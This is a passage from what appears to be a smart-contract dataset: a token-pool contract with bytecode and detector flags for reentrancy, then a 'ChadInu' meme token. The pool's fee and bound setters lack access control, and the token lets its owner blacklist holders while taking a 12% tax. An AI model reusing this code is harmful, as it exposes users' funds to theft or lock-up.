fees.collected = fees.collected.add( fee ); // add to total fees
totalTokens = totalTokens.sub( amount.sub( fee ) ); // remove amount from pool less fees
IERC20( token ).safeTransfer( msg.sender, amount.sub( fee ) ); // send token removed
}
// remove liquidity evenly across all tokens
function removeAll( uint amount ) external {
shareToken.burn( msg.sender, amount );
uint fee = amount.mul( fees.fee ).div( 1e4 ); // trading fee collected
fees.collected = fees.collected.add( fee ); // add to total fees
amount = amount.sub( fee );
for ( uint i = 0; i < poolTokens.length; i++ ) {
IERC20 token = IERC20( poolTokens[ i ] );
uint send = amount.mul( token.balanceOf( address(this) ) ).div( totalTokens );
token.safeTransfer( msg.sender, send );
}
totalTokens = totalTokens.sub( amount ); // remove amount from pool less fees
}
// send collected fees to collector
function collectFees( address token ) public {
if ( fees.collected > 0 ) {
totalTokens = totalTokens.sub( fees.collected );
IERC20( token ).safeTransfer( fees.collector, fees.collected );
fees.collected = 0;
}
}
/* ========== INTERNAL FUNCTIONS ========== */
// token swap logic
function _swap( address firstToken, uint amount, address secondToken ) internal returns ( uint ) {
require( amount <= maxCanAdd( firstToken ), "Exceeds limit in" );
require( amount <= maxCanRemove( secondToken ), "Exceeds limit out" );
uint fee = amount.mul( fees.fee ).div( 1e9 );
fees.collected = fees.collected.add( fee );
return amount.sub( fee );
}
/* ========== VIEW FUNCTIONS ========== */
// maximum number of token that can be added to pool
function maxCanAdd( address token ) public view returns ( uint ) {
uint maximum = totalTokens.mul( tokenInfo[ token ].highAP ).div( 1e5 );
uint balance = IERC20( token ).balanceOf( address(this) );
return maximum.sub( balance );
}
// maximum number of token that can be removed from pool
function maxCanRemove( address token ) public view returns ( uint ) {
uint minimum = totalTokens.mul( tokenInfo[ token ].lowAP ).div( 1e5 );
uint balance = IERC20( token ).balanceOf( address(this) );
return balance.sub( minimum );
}
// maximum size of trade from first token to second token
function maxSize( address firstToken, address secondToken ) public view returns ( uint ) {
return maxCanAdd( firstToken ).add( maxCanRemove( secondToken ) );
}
/* ========== POLICY FUNCTIONS ========== */
// change bounds of tokens in pool
function changeBound( address token, uint newHigh, uint newLow ) external {
tokenInfo[ token ].highAP = newHigh;
tokenInfo[ token ].lowAP = newLow;
}
// add new token to pool
// must call toggleAccept to activate token
function addToken( address token, uint lowAP, uint highAP ) external {
if ( !tokenInfo[ token ].pushed ) {
poolTokens.push( token );
}
tokenInfo[ token ] = PoolToken({
lowAP: lowAP,
highAP: highAP,
accepting: false,
pushed: true
});
}
// toggle whether to accept incoming token
// setting token to false will not allow swaps as incoming token or adds
function toggleAccept( address token ) external {
tokenInfo[ token ].accepting = !tokenInfo[ token ].accepting;
}
// set fee taken on trades and fee collector
function setFee( uint newFee, address collector, address collectToken ) external {
require( collector != address(0) );
collectFees( collectToken ); // clear cache before changes
fees.fee = newFee;
fees.collector = collector;
}
}
|
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80639939fa0b116100a2578063b08b6f6311610071578063b08b6f63146102cb578063dced1a5a146102fb578063dee1f2af1461032b578063f5d82b6b14610347578063f5dab7111461036357610116565b80639939fa0b146102575780639af1d35a14610273578063a480ca7914610293578063abe7f1ab146102af57610116565b80636c9fa59e116100e95780636c9fa59e146101b35780636d069a67146101d15780637e1c0c09146101ed5780638a41c45c1461020b57806390dca7441461022757610116565b8063069debba1461011b57806316113c271461013757806322043f9b146101675780634ce1aedc14610197575b600080fd5b6101356004803603810190610130919061198b565b610396565b005b610151600480360381019061014c9190611811565b6105e1565b60405161015e9190611e65565b60405180910390f35b610181600480360381019061017c91906117ac565b6106b4565b60405161018e9190611e65565b60405180910390f35b6101b160048036038101906101ac91906119dd565b6107ce565b005b6101bb610864565b6040516101c89190611d68565b60405180910390f35b6101eb60048036038101906101e691906118c4565b610888565b005b6101f56108ef565b6040516102029190611e65565b60405180910390f35b610225600480360381019061022091906117ac565b6108f5565b005b610241600480360381019061023c91906117d5565b6109a2565b60405161024e9190611e65565b60405180910390f35b610271600480360381019061026c9190611913565b6109cf565b005b61027b610a62565b60405161028a93929190611e80565b60405180910390f35b6102ad60048036038101906102a891906117ac565b610a9a565b005b6102c960048036038101906102c49190611888565b610b2c565b005b6102e560048036038101906102e091906117ac565b610cd6565b6040516102f29190611e65565b60405180910390f35b6103156004803603810190610310919061198b565b610df0565b6040516103229190611cc4565b60405180910390f35b61034560048036038101906103409190611913565b610e2f565b005b610361600480360381019061035c9190611888565b610fa9565b005b61037d600480360381019061037891906117ac565b6110cd565b60405161038d9493929190611eb7565b60405180910390f35b7f0000000000000000000000004963e524bacb5cfc0de5571f3c37bc8cdd4aee8e73ffffffffffffffffffffffffffffffffffffffff16639dc29fac33836040518363ffffffff1660e01b81526004016103f1929190611cdf565b600060405180830381600087803b15801561040b57600080fd5b505af115801561041f573d6000803e3d6000fd5b5050505060006104516127106104436003600001548561111790919063ffffffff16565b61118790919063ffffffff16565b905061046b816003600101546111d190919063ffffffff16565b600360010181905550610487818361122690919063ffffffff16565b915060005b6000805490508110156105c15760008082815481106104a757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060006105856002546105778473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016105189190611cc4565b60206040518083038186803b15801561053057600080fd5b505afa158015610544573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061056891906119b4565b8861111790919063ffffffff16565b61118790919063ffffffff16565b90506105b233828473ffffffffffffffffffffffffffffffffffffffff166112709092919063ffffffff16565b5050808060010191505061048c565b506105d78260025461122690919063ffffffff16565b6002819055505050565b60006106108630858773ffffffffffffffffffffffffffffffffffffffff166112f6909392919063ffffffff16565b61061b84848461137f565b90508173ffffffffffffffffffffffffffffffffffffffff1663095ea7b386836040518363ffffffff1660e01b8152600401610658929190611d3f565b602060405180830381600087803b15801561067257600080fd5b505af1158015610686573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106aa9190611962565b5095945050505050565b600080610723620186a0610715600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015460025461111790919063ffffffff16565b61118790919063ffffffff16565b905060008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016107609190611cc4565b60206040518083038186803b15801561077857600080fd5b505afa15801561078c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b091906119b4565b90506107c5828261122690919063ffffffff16565b92505050919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561080857600080fd5b61081181610a9a565b8260036000018190555081600360020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b7f0000000000000000000000004963e524bacb5cfc0de5571f3c37bc8cdd4aee8e81565b6108b53330848673ffffffffffffffffffffffffffffffffffffffff166112f6909392919063ffffffff16565b6108ea336108c485858561137f565b8373ffffffffffffffffffffffffffffffffffffffff166112709092919063ffffffff16565b505050565b60025481565b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff1615600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160006101000a81548160ff02191690831515021790555050565b60006109c76109b0836106b4565b6109b985610cd6565b6111d190919063ffffffff16565b905092915050565b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018190555080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550505050565b60038060000154908060010154908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905083565b60006003600101541115610b2957610ac260036001015460025461122690919063ffffffff16565b600281905550610b1d600360020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166003600101548373ffffffffffffffffffffffffffffffffffffffff166112709092919063ffffffff16565b60006003600101819055505b50565b7f0000000000000000000000004963e524bacb5cfc0de5571f3c37bc8cdd4aee8e73ffffffffffffffffffffffffffffffffffffffff16639dc29fac33836040518363ffffffff1660e01b8152600401610b87929190611cdf565b600060405180830381600087803b158015610ba157600080fd5b505af1158015610bb5573d6000803e3d6000fd5b505050506000610be7612710610bd96003600001548561111790919063ffffffff16565b61118790919063ffffffff16565b9050610bf2836106b4565b610c05828461122690919063ffffffff16565b1115610c46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3d90611e45565b60405180910390fd5b610c5e816003600101546111d190919063ffffffff16565b600360010181905550610c8e610c7d828461122690919063ffffffff16565b60025461122690919063ffffffff16565b600281905550610cd133610cab838561122690919063ffffffff16565b8573ffffffffffffffffffffffffffffffffffffffff166112709092919063ffffffff16565b505050565b600080610d45620186a0610d37600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015460025461111790919063ffffffff16565b61118790919063ffffffff16565b905060008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610d829190611cc4565b60206040518083038186803b158015610d9a57600080fd5b505afa158015610dae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd291906119b4565b9050610de7818361122690919063ffffffff16565b92505050919050565b60008181548110610e0057600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160019054906101000a900460ff16610ee7576000839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b604051806080016040528083815260200182815260200160001515815260200160011515815250600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff02191690831515021790555060608201518160020160016101000a81548160ff021916908315150217905550905050505050565b610fbe816002546111d190919063ffffffff16565b600281905550610fcd82610cd6565b81111561100f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100690611dc5565b60405180910390fd5b61103c3330838573ffffffffffffffffffffffffffffffffffffffff166112f6909392919063ffffffff16565b7f0000000000000000000000004963e524bacb5cfc0de5571f3c37bc8cdd4aee8e73ffffffffffffffffffffffffffffffffffffffff166340c10f1933836040518363ffffffff1660e01b8152600401611097929190611cdf565b600060405180830381600087803b1580156110b157600080fd5b505af11580156110c5573d6000803e3d6000fd5b505050505050565b60016020528060005260406000206000915090508060000154908060010154908060020160009054906101000a900460ff16908060020160019054906101000a900460ff16905084565b60008083141561112a5760009050611181565b600082840290508284828161113b57fe5b041461117c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117390611de5565b60405180910390fd5b809150505b92915050565b60006111c983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611487565b905092915050565b60008082840190508381101561121c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121390611da5565b60405180910390fd5b8091505092915050565b600061126883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114e8565b905092915050565b6112f18363a9059cbb60e01b848460405160240161128f929190611d3f565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611543565b505050565b611379846323b872dd60e01b85858560405160240161131793929190611d08565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611543565b50505050565b600061138a84610cd6565b8311156113cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c390611dc5565b60405180910390fd5b6113d5826106b4565b831115611417576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140e90611e45565b60405180910390fd5b6000611447633b9aca006114396003600001548761111790919063ffffffff16565b61118790919063ffffffff16565b9050611461816003600101546111d190919063ffffffff16565b60036001018190555061147d818561122690919063ffffffff16565b9150509392505050565b600080831182906114ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c59190611d83565b60405180910390fd5b5060008385816114da57fe5b049050809150509392505050565b6000838311158290611530576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115279190611d83565b60405180910390fd5b5060008385039050809150509392505050565b60606115a5826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff1661160a9092919063ffffffff16565b905060008151111561160557808060200190518101906115c59190611962565b611604576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fb90611e25565b60405180910390fd5b5b505050565b60606116198484600085611622565b90509392505050565b606061162d85611745565b61166c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166390611e05565b60405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040516116969190611cad565b60006040518083038185875af1925050503d80600081146116d3576040519150601f19603f3d011682016040523d82523d6000602084013e6116d8565b606091505b509150915081156116ed57809250505061173d565b6000815111156117005780518082602001fd5b836040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117349190611d83565b60405180910390fd5b949350505050565b600080823b905060008111915050919050565b60008135905061176781612014565b92915050565b60008151905061177c8161202b565b92915050565b60008135905061179181612042565b92915050565b6000815190506117a681612042565b92915050565b6000602082840312156117be57600080fd5b60006117cc84828501611758565b91505092915050565b600080604083850312156117e857600080fd5b60006117f685828601611758565b925050602061180785828601611758565b9150509250929050565b600080600080600060a0868803121561182957600080fd5b600061183788828901611758565b955050602061184888828901611758565b945050604061185988828901611758565b935050606061186a88828901611782565b925050608061187b88828901611758565b9150509295509295909350565b6000806040838503121561189b57600080fd5b60006118a985828601611758565b92505060206118ba85828601611782565b9150509250929050565b6000806000606084860312156118d957600080fd5b60006118e786828701611758565b93505060206118f886828701611782565b925050604061190986828701611758565b9150509250925092565b60008060006060848603121561192857600080fd5b600061193686828701611758565b935050602061194786828701611782565b925050604061195886828701611782565b9150509250925092565b60006020828403121561197457600080fd5b60006119828482850161176d565b91505092915050565b60006020828403121561199d57600080fd5b60006119ab84828501611782565b91505092915050565b6000602082840312156119c657600080fd5b60006119d484828501611797565b91505092915050565b6000806000606084860312156119f257600080fd5b6000611a0086828701611782565b9350506020611a1186828701611758565b9250506040611a2286828701611758565b9150509250925092565b611a3581611f76565b82525050565b611a4481611f2e565b82525050565b611a5381611f40565b82525050565b6000611a6482611efc565b611a6e8185611f12565b9350611a7e818560208601611fd0565b80840191505092915050565b611a9381611f88565b82525050565b6000611aa482611f07565b611aae8185611f1d565b9350611abe818560208601611fd0565b611ac781612003565b840191505092915050565b6000611adf601b83611f1d565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b6000611b1f601083611f1d565b91507f45786365656473206c696d697420696e000000000000000000000000000000006000830152602082019050919050565b6000611b5f602183611f1d565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611bc5601d83611f1d565b91507f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006000830152602082019050919050565b6000611c05602a83611f1d565b91507f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008301527f6f742073756363656564000000000000000000000000000000000000000000006020830152604082019050919050565b6000611c6b601183611f1d565b91507f45786365656473206c696d6974206f75740000000000000000000000000000006000830152602082019050919050565b611ca781611f6c565b82525050565b6000611cb98284611a59565b915081905092915050565b6000602082019050611cd96000830184611a3b565b92915050565b6000604082019050611cf46000830185611a2c565b611d016020830184611c9e565b9392505050565b6000606082019050611d1d6000830186611a3b565b611d2a6020830185611a3b565b611d376040830184611c9e565b949350505050565b6000604082019050611d546000830185611a3b565b611d616020830184611c9e565b9392505050565b6000602082019050611d7d6000830184611a8a565b92915050565b60006020820190508181036000830152611d9d8184611a99565b905092915050565b60006020820190508181036000830152611dbe81611ad2565b9050919050565b60006020820190508181036000830152611dde81611b12565b9050919050565b60006020820190508181036000830152611dfe81611b52565b9050919050565b60006020820190508181036000830152611e1e81611bb8565b9050919050565b60006020820190508181036000830152611e3e81611bf8565b9050919050565b60006020820190508181036000830152611e5e81611c5e565b9050919050565b6000602082019050611e7a6000830184611c9e565b92915050565b6000606082019050611e956000830186611c9e565b611ea26020830185611c9e565b611eaf6040830184611a3b565b949350505050565b6000608082019050611ecc6000830187611c9e565b611ed96020830186611c9e565b611ee66040830185611a4a565b611ef36060830184611a4a565b95945050505050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b6000611f3982611f4c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000611f8182611fac565b9050919050565b6000611f9382611f9a565b9050919050565b6000611fa582611f4c565b9050919050565b6000611fb782611fbe565b9050919050565b6000611fc982611f4c565b9050919050565b60005b83811015611fee578082015181840152602081019050611fd3565b83811115611ffd576000848401525b50505050565b6000601f19601f8301169050919050565b61201d81611f2e565b811461202857600080fd5b50565b61203481611f40565b811461203f57600080fd5b50565b61204b81611f6c565b811461205657600080fd5b5056fea26469706673582212208cff54dc9d1a8ada8533666b0b9a09fde8502b4091eb4d367e1af91dd4c1bcb264736f6c63430007050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,343 |
0xc2bef4486b1895597b6112ae707a417305d60cc0
|
/**
🐾ChadInu is here to stay🐾
🐾We are truely community driven token,
so be ready to do your part of this moonshot 🐾
Web: https://chadinuerc20.com/
TG: https://t.me/ChadInuPortal
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ChadInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 500000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "ChadInu";
string private constant _symbol = "ChadInu";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x0251aB210F318dfBcC6191065B803DcdBA3B0D53);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 12;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 12;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000 * 10**9;
_maxWalletSize = 15000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612713565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127dd565b6104b4565b60405161018e9190612838565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612862565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129c5565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a0e565b61060c565b60405161021f9190612838565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a61565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190612aaa565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612af1565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b1e565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a61565b6109db565b6040516103199190612862565b60405180910390f35b34801561032e57600080fd5b50610337610a2c